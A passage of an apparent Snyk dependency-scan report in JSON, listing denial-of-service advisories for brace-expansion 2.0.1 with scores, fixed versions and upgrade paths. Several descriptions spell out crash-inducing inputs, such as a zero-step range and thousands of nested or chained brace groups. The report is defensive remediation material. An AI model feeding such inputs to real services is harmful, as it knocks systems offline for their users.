"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub 